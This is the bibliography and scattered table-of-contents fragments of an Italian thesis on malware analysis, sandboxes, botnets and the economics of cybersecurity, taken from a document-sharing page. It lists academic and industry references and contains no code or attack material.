Proceedings of the IEEE International Conference on Communications (ICC).
[B-24] KANICH, C., KREIBICH, C., LEVCHENKO, K., ENRIGHT, B., VOELKER, G. M., PAX
SON, V., AND SAVAGE, S. 2008. Spamalytics: an empirical analysis of spam marketing con
version. In Proceedings of the 15th ACM Conference on Computer and Communications Secur
ity (CCS). 3–14.
[B-25] KIM, H. C., KEROMYTIS, A. D., COVINGTON, M., AND SAHITA, R. 2009. Capturing in
formation flow withconcatenated dynamic taint analysis. In Proceedings of the 1st Internation
al Conference on Availability, Reliability and Security. 355–362.
[B-26] KING, S. T.,CHEN, P. M.,WANG, Y.-M., VERBOWSKI, C.,WANG, H. J., AND LORCH, J.
R. 2006. Subvirt: Implementing malware with virtual machines. In Proceedings of the IEEE
Symposium on Security and Privacy. 314–327.
[B-27] LAU, B. AND SVAJCER, V. 2008. Measuring virtual machine detection in malware using
DSD tracer. J. Comput. Virology.
[B-28] LIGUORI, A. 2010. Qemu snapshot mode. http://wiki.qemu.org/Manual. (Last accessed, 5/10.)
[B-29] MITNIK, K. D. The art of deception. 2002.
[B-30] MOORE, D., SHANNON, C., AND CLAFFY, K. C. 2002. Code-red: a case study on the
spread and victims of an Internet worm. In Proceedings of the Internet Measurement
Workshop. 273–284.
[B-31]MOORE ,T., ANDERSON ,R. Economics and Internet Security: a Survey of Recent Analytical,
Empirical and Behavioral Research
http://secon.utulsa.edu/pub.html
[B-32] MOORE, T. 2010. The Economics of Cybersecurity: Principles and Policy Options In
the International Journal of Critical Infrastructure Protection, Volume 3, Issues 3-4,
December 2010, Pages 103-117(http://dx.doi.org/10.1016/j.ijcip.2010.10.002).
XXX
[B-33] MOSER, A., KRUEGEL, C., AND KIRDA, E. 2007b. Limits of static analysis for malware de
tection. In Proceedings of the 23rd Annual Computer Security Applications Conference (AC
SAC’07). 421–430.
[B-34] NAIR, S. K., SIMPSON, P. N. D., CRISPO, B., AND TANENBAUM, A. S. 2008. A virtual ma
chine-based information flow control system for policy enforcement. Electron. Notes Theor.
Comput. Sci. 197, 1, 3–16.
[B-35] NANDA, S., LAM, L.-C., AND CHIUEH, T.-C. 2007. Dynamic multi-process information flow
tracking for web application security. In Proceedings of the ACM/IFIP/USENIX Internationl
Conference on Middleware Companion. ACM Press,New York, NY, 1–20.
[B-36] NEBBETT, G. 2000. Windows NT/2000 Native API Reference. New Riders Publishing, Thou
sand Oaks, CA. NEWSOME, J. AND SONG, D. X. 2005. Dynamic taint analysis for automatic
detection, analysis, and signature generation of exploits on commodity software. In Proceed
ings of the 12th AnnualNetwork andDistributed System Security Symposium (NDSS’05).
[B-37] NEWSOME, J. AND SONG, D. X. 2005. Dynamic taint analysis for automatic detection, ana
lysis, and signature generation of exploits on commodity software. In Proceedings of the 12th
Annual Network andDistributed System Security Symposium (NDSS’05).
[B-38] NORMAN SANDBOX. 2003. Norman SandBoxWhitepaper.

http://download01.norman.no/product_sheets/eng/SandBox_analyzer.pdf
http://repo.hackerzvoice.net/depot_madchat/vxdevl/papers/avers/03_sandbox.pdf.
[B-39] PARK J. Acquiring Digital Evidence from Botnet Attacks: Procedures and Methods. PhD thesis,
AUT University, 2011.
[B-40] PORTOKALIDIS, G., SLOWINSKA, A., AND BOS, H. 2006. Argos: an emulator for finger
printing zero-day attacks for advertised honeypots with automatic signature generation. In
Proceedings of the 1st EuroSys Conference. 15–27.
[B-41]PROVOS N.,MAVROMMATIS P.,RAJAB, M. A., ANDMONROSE, F. 2008. All your

IFRAMEs point to us. In Proceedings of the 17th USENIX Security Symposium.
[B-42] PROVOS, N., MCNAMEE, D., MAVROMMATIS, P., WANG, K., AND MODADUGU, N.
2007. The ghost in the browser: Analysis of web-based malware. In Proceedings of the 1st
Workshop on Hot Topics in Understanding Botnets (HotBots’07).
[B-43] RAFFETSEDER, T., KRUGEL, C., AND KIRDA, E. 2007. Detecting system emulators.
In Proceedings of the 10th International Conference on Information Security (ISC’07). 1–18.
[B-44] RUTKOWSKA, J. 2004. Red Pill... or how to detect VMM using (almost) one CPU instruction.
[B-45] SHARIF, M., LANZI, A., GIFFIN, J., AND LEE, W. 2008. Impeding malware analysis using
conditional code obfuscation. In Proceedings of the 15th Annual Network and Distributed Sys
tem Security Symposium (NDSS’08).
[B-46] SKOUDIS E. Fighting Malicious Code. Skoudis E., Zeltser L., 2003.
[B-47] SLOWINSKA, A. AND BOS, H. 2009. Pointless tainting?: evaluating the practicality of point
er tainting. In Proceedings of the 4th ACM European Conference on Computer Systems
(EuroSys). ACM Press, New York, NY, 61–74. SOTIROV, A. Heap feng shui in javascript.
http://www.phreedom.org/research/heap-feng-shui/heapfengshui.html.
[B-48] TAHA, G. 2007. Counterattacking the packers.

http://www.mcafee.com/us/localcontent/whitepapers/threatcenter/wp counterattacking packer
s.pdf.
[B-49] VASUDEVAN, A. AND YERRABALLI, R. 2004. Sakthi: A retargetable dynamic framework

for binary instrumentation. In Proceedings of the Hawaii International Conference in Com
puter Sciences.
XXXI
[B-50] VASUDEVAN, A. AND YERRABALLI, R. 2005. Stealth breakpoints. In Proceedings of the
21st Annual Computer Security Applications Conference (ACSAC’05). 381–392.
[B-51] VASUDEVAN, A. AND YERRABALLI, R. 2006a. Cobra: fine-grained malware analysis us
ing stealth localized executions. In Proceedings of the IEEE Symposium on Security and
Privacy. 264–279.
[B-52] VASUDEVAN, A. AND YERRABALLI, R. 2006b. Spike: engineeringmalware analysis tools

using unobtrusive binary instrumentation. In Proceedings of the 29th Australasian Computer
Science Conference. 311–320.
[B-53]WANG, Y.-M., ROUSSEV, R., VERBOWSKI, C., JOHNSON, A., WU, M.-W., HUANG, Y.,
AND KUO, S.-Y. 2004. Gatekeeper: Monitoring auto-start extensibility points (ASEPs) for
spyware management. In Proceedings of the 18th USENIX Conference on System Administra
tion. USENIX Association, Berkeley, CA, 33–46.
[B-54] WILLEMS, C.,HOLZ, T., AND FREILING, F. 2007. Toward automated dynamic malware ana
lysis us ing CWSandbox. IEEE Secur. Privacy 5, 2, 32–39.
https://www.ei.rub.de/media/emma/veroeffentlichungen/2012/12/14/CWSandbox-IEEESP2007.pdf
[B-55] XU, J., SUNG, A. H., CHAVEZ, P., AND MUKKAMALA, S. 2004. Polymorphic malicious ex
ecutable scanner by api sequence analysis. In Proceedings of the 4th International Conference
on Hybrid Intelligent Systems.378–383.
[B-56] YIN, H., SONG, D. X., EGELE, M., KRUEGEL, C., AND KIRDA, E. 2007. Panorama:
cap turing system-wide information flow for malware detection and analysis. In Proceed
ings of the ACM Conference on Computer and Communications Security (CCS). 116–127.
[B-57] ZELTSER, L. 2006. Virtual machine detection in malware via commercial tools.
http://isc.sans.org/
[B-58]H. VARIAN, 2004. System reliability and free riding, in Economics of Information Security,
Vol. 12, Advances in Information Security, L. J. Camp, S. Lewis, (Eds.), Kluwer Academic
Publishers, Boston, Massachusetts, pp. 1–15.
[B-59] H. KUNREUTHER and G. HEAL, 2003. Interdependent security, Journal of Risk and Un
certainty, vol. 26(2— 3), pp. 231—249.
[B-60] DINABURG, A., ROYAL, P., SHARIF, M. I., AND LEE, W. 2008. Ether: malware analysis
via hardware virtualization extensions. In Proceedings of the ACM Conference on Computer
and Communications Security (CCS).51–62.
http://ether.gtisc.gatech.edu/index.html
[B-61] MEHTA, N. AND CLOWES, S. 2003. Shiva. advances in ELF binary runtime encryption.
http://www.securereality.com.au/.
[B-62] FALLIERE, N. 2007. Windows anti-debug reference.

http://www.symantec.com/connect/es/articles/windowsanti-debug-reference.
[B-63] LABIR, E. 2005. Vx reversing III yellow fever (Griyo 29a). CodeBreakers J. 2, 1.
[B-64] DANILOFF, I. 1997. Virus analysis 3, fighting talk. Virus Bull. J. 10–12.
[B-65] GUO, F., FERRIE, P., AND TZI-CKER CHIUEH. 2008. A Study of the Packer Problem and Its
Solutions. In Proceedings of the 11th International Symposium On Recent Advances In Intru
sion Detection (RAID).
[B-66] KANG, M. G., POOSANKAM, P., AND YIN, H. 2007. Renovo: a hidden code extractor for
packed executables. In Proceedings of the ACM Workshop on Recurring Malcode. ACM Press,
New York, NY, 46–53.
XXXII
[B-67] MARTIGNONI, L., CHRISTODORESCU, M., AND JHA, S. 2007. Omniunpack: fast, generic,
and safe unpacking of malware. In Proceedings of the 23rd Annual Computer Security Applic
ations Conference (ACSAC’07). IEEE Computer Society, Los Alamitos, CA, 431–441.
[B-68] KIRDA, E., KRUEGEL, C., BANKS, G., VIGNA, G., AND KEMMERER, R. A. 2006. Behavi
or-based spyware detection.In Proceedings of the 15th USENIX Security Symposium.
[B-69] HALE LIGH,M., ADAIR, S., HARSTEIN,B., RICHARD,M. 2011. Malware Analyst’s
Cookbook.
[B-70] DOUGAN, T., CURRAN, K., 2012. Man in the Browser Attacks. International Journal of Am
bient Computing and Intelligence, 4(1), 29-39, January-March 2012 29.
[B-71] LITAN, A., ALLAN, A. (2006, September 12). Threats:Man in the Browser. Retrieved April
10, 2011, from Tricipher website:
http://www.tricipher.com/threats/man_in_the_browser.html.
[B-72] GüRING, P. (2006, September 12). Concepts against Man-in-the-Browser Attacks. Retrieved
March 3, 2011, from CAcert.org website: http://www2.futureware.at/svn/sourcerer/CAcert/SecureClient.pdf.
[B-73] FINJAN (2009, July).CybercrimeIntelligenceReport,Issue no. 3. Retrieved March 20, 2011,

from M86 Security website: http://www.finjan.com/GetObject.aspx?ObjId=679.
[B-74] MCRC. (2009, July 22). How a cybergang operates a network of 1.9 million infected computers.
Retrieved April 2011, from SecureTweets Blog website:
http://www.finjan.com/SecureTweets/Blog/post/How-a-cybergang-operates-a-network-of-19- million-in
fected-computers.aspx.
[B-75] STEN-GROSS, B., COVA, M., CAVALLARO, L., GILNERT, B.,SZYDLOWSKY M.,
KEMMERER, R., et al. (2009). Your Botnet is My Botnet: Analysis of a Botnet Takeover. Re
trieved April 2, 2011, from Taking over the Torpig botnet website:
http://www.cs.ucsb.edu/~seclab/projects/torpig/torpig.pdf.
[B-76] FALLIERE, N., CHIEN, E. (2009). Zeus: King of the Bots.Retrieved from Security Response
Whitepapers Symantec Corp. website:
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/zeus
_king_of_bots.pdf.
[B-77] ENTRUST. (2010). Defeating Man-in-the-Browser. Retrieved April 3, 2011, from Internet Se
curity and Encryption White Papers website:
http://www.entrust.com/resources/download.cfm/24002/
[B-78] ARCOT. (2010). Protecting Online Customers from Man-in-the-Browserand Man-in-the-

MiddleAttacks. Retrieved from Arcot Resources - Briefs and White Papers for Online Identity
Fraud Protection website:
http://www.arcot.com/resources/docs/ Protectionfrom_MITM_&_MITB_Attacks_White_Paper.pdf
[B-79] CREMONINI ,M., RICCIARDI M. (2008). The Dorothy Project: inside the Storm An auto
mated platform for botnet analyses. Università degli Studi di Milano.
http://www.honeynet.it/
[B-80] (2012 ). International Journal of Information Technology and Business Management

29th October 2012. Vol.6 No.1 .
[B-81] SULTAN BANDR ALMUNTAIRI (2014). Forensic Analysis of a Botnet System: Architecture
and Capabilities. Aukland New Zealand.
[B-82] WANG, T., YU, Shun-Zheng (2009). Centralized Botnet Detection by Traffic Aggregation.
IEEE International Symposium on Parallel and Distributed Processing with Applications.
[B-83] Osterman Research White Paper (2014).Best Practices in Email, Web and Social Media Secur
ity.
www.ostermanresearch.com
www.trustwave.com
XXXIII
[B-84] Mark Russinovich's . Sysinternals Blog (now on Technet), “Running Windows with No Ser
vices.”
[B-85] XINHUI , J.,Z., et al. Characterizing the IRC-based Botnet Phenomenon.
[B-86] RUSSELL, M. (2012). Advanced Persistent Threads: Difendersi dall' interno (2012). CA Tecno
logies, Security Management.
______________________
XXXIV
12 Riferimenti
Nota: Ultimo accesso ai collegamenti in data 01.01.2016

[1] Karperky Lab.
http://www.kaspersky.com/it/internet-security-center/threats/combating-antivirus
[2] Storia informatica.

http://www.storiainformatica.it/approfondimenti/91-nascita-dei-virus
[3] 2013 Infographic: The State of malware.

http://www.mcafee.com/in/security-awareness/articles/state-of- malware-2013.aspx
[4] Gandotra, E., et al. (2014) malware Analysis and Classification: A Survey. Journal of Information
Security,5, 56-64.
http://dx.doi.org/10.4236/jis.2014.52006
[5] Dan Goodin (The Register)2008.

http://www.theregister.co.uk/2008/01/23/embassy_sites_serve_malware/
[6] Mcafee thread glossary.

http://www.mcafee.com/us/threat-center.aspx
[7] Sito web di Chris Neel.

http://www.chrisneel.it/articolo/backdoors
[8] Honey Project.

http://project.honeynet.org/
[9] Symantec.
http://www.symantec.com/it/it/
[10] Microsoft Corporation: Bollettini sulla sicurezza:

Microsoft security bulletin MS06-014—Vulnerability in the microsoft data
access components (MDAC) function could allow code execution.
http://www.microsoft.com/technet/security/Bulletin/MS06-014.mspx
Microsoft security bulletin MS08-067 Critical; vulnerability in server service could allow remote code
execution. http://www.microsoft.com/technet/security/Bulletin/MS08-067.mspx
[11] Chen Liqian : Studi sull'analisi statica del software mediante metodi matematici.
http://lqchen.github.io/chen10phdAbstract.html
http://lqchen.github.io/EMSOFT15_interrupt.pdf
[12] Intel® 64 and IA-32 Architectures Software Developer’s Manual: basic architecture.
http://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-
software-developer-vol-1-manual.pdf
[13] GCC: Options for Code Generation Conventions.

https://gcc.gnu.org/onlinedocs/gcc-4.1.2/gcc/Code-Gen-Options.html
[14] Microsoft Detours Library

http://research.microsoft.com/en-us/projects/detours/
[15] Mihai Christodorescu et al. :Mining Specifications of Malicious Behavior.

http://pages.cs.wisc.edu/~mihai/publications/Mining%20Specifications%20of%20Malicious
%20Behavior/index.shtml
[16] Intel: Assembly.

https://software.intel.com/en-us/articles/introduction-to-x64-assembly
XXXV
[17] Juzt-Reboot tecnology.
http://www.juzt-reboot.com/
[18] Anubis malware Analysis for Unknown Binaries

http://anubis.iseclab.org/index.php
https://www.lastline.com/ (da aprile 2016)
[19] Wikipedia.en
https://en.wikipedia.org/wiki/Main_Page
https://it.wikipedia.org/wiki/Pagina_principale
[20] Rootkit
http://steven.altervista.org/files/rootkit.html
[21] The SANS Institute- UK

The Threat of Social Engineering and Your Defense Against It
https://www.sans.org/reading-room/whitepapers/engineering/threat-social-engineering-defense-1232
[22] Il Blog di Sysinternal (Sony rootkit)

https://blogs.technet.microsoft.com/markrussinovich/2005/11/14/sony-no-more-rootkit-for-now/
https://blogs.technet.microsoft.com/markrussinovich
[23] The Honeynet Project di Lance Spitzner President, Honeynet Project

https://www.honeynet.org/
[24] Capture-HPC Client Honeypot /Honeyclient

https://projects.honeynet.org/capture-hpc
[25] Symantec :Zeus

http://www.symantec.com/connect/blogs/zeus-king-underground-crimeware-toolkits
[26] abuse.ch Zeus Tracker

https://zeustracker.abuse.ch/monitor.php
[27] CERT Polska - Technical report ZeuS-P2P monitoring and analysis

http://www.cert.pl/news/4711
http://www.cert.pl/news/368
[28] Karpesky Blog

https://blog.kaspersky.com/ask-expert-ransomware-epidemic/9332/
[29] Hitman per phcrack

https://packetstormsecurity.com/files/tags/trojan/
[30] Corriere della Sera. Documentazione Trojan

https://it.wikipedia.org/wiki/Trojan_(informatica)
[31] HoneyNet: in-Depth analysis

http://www.honeynet.org/node/169
[32] Enisa (2011): Botnets: Detection, Measurement, Disinfection & Defence

www.enisa.europa.eu
[33] National Cyber Security Centre Nederland

www.ncsc.nl
[34] Sans Information Security
https://www.sans.org/reading-room/
[35] FBI CyberCrime

https://www.fbi.gov/about-us/investigate/cyber
XXXVI
[36] The International Secure Systems Lab (iSecLab)
https://iseclab.org
[37] CWSandbox educational

http://cwsandbox.org
[38] NormanSandbox (AVG tecnoligies)

http://www.norman.com/index/
[39] ThreadTrack (CWSandbox)

https://www.threattracksecurity.com/enterprise-security/malware-analysis-sandbox-tools.aspx
[40] LastLine (Anubis)

https://www.lastline.com/labs/about-lastline-labs
[41] Joesecurity (JoeSandbox)

http://www.joesecurity.org/joe-sandbox-desktop
[42] BitBlaze (Sito web Univeristà di Berkey)

http://bitblaze.cs.berkeley.edu/index.html
[43] Sandia National Laboratories (sicurezza nazionale USA)

http://www.sandia.gov/
[44] Da Reddit : elenco siti che tracciano le botnet

https://www.reddit.com/r/netsec/comments/eozj0/known_botnet_ips/
[45] TrustWave
http://www.trustwave.com
[46] OWSAP The Open Web Application Security Project

https://www.owasp.org/index.php/Top_10_2013-Top_10
[47] PCI Security Standards

https://www.pcisecuritystandards.org/pci_security/
[48] Internet World Stats

http://www.internetworldstats.com/stats.htm
[49] Rusakov,V., Golovanov, S. TDSS . Securelist

https://securelist.com/analysis/publications/36314/tdss/
[50] MSDN: linguaggio TDL (Template Description Language)

https://msdn.microsoft.com/it-it/library/aa291550%28v=vs.71%29.aspx
[51] Secure Science Corporation Malware Case Study (2006)

http://www.mnin.org/write/ZeusMalware.pdf
http://www.securescience.net/
[52] IDA Pro from DataRescue

http://www.datarescue.com/idabase
[53] A program (and source code) for detection of the trojan by Secure Science:
http://ip.securescience.net/advisories/prgdetect.zip
______________________
XXXVII

Sic 2

Caricato da

Informazioni sul documento

Titolo originale

Copyright

Formati disponibili

Condividi questo documento

Condividi o incorpora il documento

Opzioni di condivisione

Hai trovato utile questo documento?

Questo contenuto è inappropriato?

Copyright:

Formati disponibili

Sic 2

Caricato da

Copyright:

Formati disponibili

Sommario

Una delle principali e gravi minacce su Internet è il software nocivo, spesso

In questo lavoro viene effettuata un'indagine affrontando quanto realizzato

3 ANALISI DEL MALWARE STATICA E DINAMICA....................................22

3.3.6.5 Rilevazione di Ambienti di Analisi..................................................................................................34

4 STRUMENTI DI ANALISI DEL MALWARE...................................................41

6 ASPETTI ECONOMICI DELLA SICUREZZA ...............................................86

10 ESEMPI – CASI DI STUDIO..............................................................................I

Indice delle Figure

API Application programming interface. Offrono insiemi di procedure utili al

QEMU QEMU è un emulatore generico ed open source e virtualizzatore mac-

Figura 1: Diffusione di internet nel mondo nell'anno 2015 [47]

Gli attaccanti se hanno la caratteristica esclusiva di perpetrare azioni criminali

Allo stesso tempo, i cybercriminali più professionali tentano anche di assicur-

I malware sono progettati da aggressori, sono polimorfci in quanto possono

Le varianti di famiglie di software nocivo condividono modelli comporta-

malware sconosciuti nelle loro famiglie note utilizzando le tecniche di apprendimento

L'idea di creare malware e diffonderlo è diventata popolare nell' ambiente del

Una volta dentro, si nascondono, si replicano e disabilitano o aggirano le pro-

Per diffondere il software intrusivo e nocivo sono state attuate e continuano

Figura 2: Confronto malware tradizionali ed avanzati [4]

1.3 Scopo ed Obiettivi

Lo scopo di questo lavoro è quello di mettere in evidenza alcuni aspetti della

Sarà data una panoramica delle principali tecniche di attacco perpetrate e su

Seguirà una presentazione sull' analisi e sulle valutazioni economiche sullo

Per raggiungere questo obiettivo generale, saranno realizzati questi obiettivi :

Il termine di malware raggruppa un insieme di software, accomunati dalle car-

2.1 Gli Attaccanti

L'underground del computer ha prodotto un proprio gergo specialistico, de-

Tali crimini possono minacciare la sicurezza di una nazione e la situazione f-

2.2 Caratteristiche del malware

Un worm non contiene necessariamente routine distruttive o intrusive che danneggia-

2.2.3 Trojan Horse

2.2.3.1 Ransomware e cryptoware

2.2.4 Spyware, Keylogger, Sniffer

Una caratteristica regolarmente presente nel malware è la possibilità di estrarre i dati

2.2.5 CSS Cross Site Scripting

L'espressione "cross-site scripting" originariamente si riferiva unicamente ad attacchi

Il sistema operativo dialoga con i programmi attraverso un insieme di funzioni,

Manipolare le rispettive informazioni permette ad un rootkit di nascondere processi,

Esempio di RootKit utilizzato come anticopia da parte di Sony [22]

Esempio di RootKit : TDSS che infetta il settore boot [49]

Le funzioni più importanti di questo rootkit sono:

Internet Relay Chat (IRC) è un protocollo di messaggistica istantanea su Internet

I bot di oggi combinano le caratteristiche di virus e worm. Ad esempio, si propagano

Figura 3: Esempio di struttura di una Botnet

2.3 Vettori di Propagazione / infezione

2.3.1 Servizi vulnerabili tramite la rete

Grandi installazioni di servizi di base che condividono la stessa vulnerabilità,

Questa caratteristica rende lo sfruttamento del servizio di rete il metodo pre-

2.3.2 Drive-by Download

Attualmente, si osservano le seguenti due tecniche, che potrebbero portare a

- Sfruttamento delle Vulnerabilità del Browser .

Se la pagina è quotata su una posizione di vertice per questi termini di ricerca,

Provos [B-41] ha analizzato anche le tecniche di autori di malware fnalizzate

MITB si guadagna l'accesso attraverso la confgurazione di software su siste-

2.3.3 Ingegneria sociale.

La defnizione che fornisce “The SANS Institute- UK” :

Tutte le tecniche che attirano un utente ad eseguire deliberatamente codice

2.3.3.1 Esempio: Attacco con violazione di Microsoft Xbox

Gli aggressori sono stati in grado di ottenere l'accesso, attraverso tecniche di

Il secondo concetto coperto in questo attacco è l'idea che l'informazione ber-

Il desiderio degli analisti di capire il comportamento di un dato campione, e